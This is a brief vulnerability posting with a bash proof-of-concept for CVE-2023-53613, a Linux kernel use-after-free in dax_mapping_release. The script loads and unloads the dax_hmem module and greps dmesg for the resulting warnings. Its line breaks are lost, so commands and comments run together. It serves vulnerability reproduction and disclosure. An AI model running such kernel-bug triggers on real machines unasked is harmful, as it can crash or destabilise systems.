CVE-2023-53613：Linux内核dax_mapping_release释放后使用漏洞

# PoC for CVE-2023-53613 - Linux Kernel dax_mapping_release Use-After-Free # This PoC triggers the vulnerability by removing a device-dax region provider # Requirements: Linux kernel with CONFIG_DEBUG_KOBJECT_RELEASE enabled #!/bin/bash # Step 1: Ensure the kernel is compiled with CONFIG_DEBUG_KOBJECT_RELEASE # Check if the config option is enabled grep CONFIG_DEBUG_KOBJECT_RELEASE /boot/config-$(uname -r) # Step 2: Load the dax_hmem module modprobe dax_hmem # Step 3: Verify the device-dax region is created ls /sys/bus/dax/devices/ # Step 4: Trigger the vulnerability by removing the dax_hmem module # This will cause dax_mapping_release() to be called, which will attempt # ida_free() on an already freed ida object, triggering the use-after-free echo "Removing dax_hmem module to trigger CVE-2023-53613..." modprobe -r dax_hmem # Step 5: Check kernel log for the vulnerability indicators # Expected output includes: # kobject: 'mapping0': kobject_release, parent 0000000000000000 (delayed 2000) # DEBUG_LOCKS_WARN_ON(1) # WARNING: CPU: X PID: Y at kernel/locking/lockdep.c # Call Trace showing ida_free -> dax_mapping_release -> device_release dmesg | grep -A 20 "kobject_release" echo "PoC execution completed. Check dmesg for vulnerability indicators."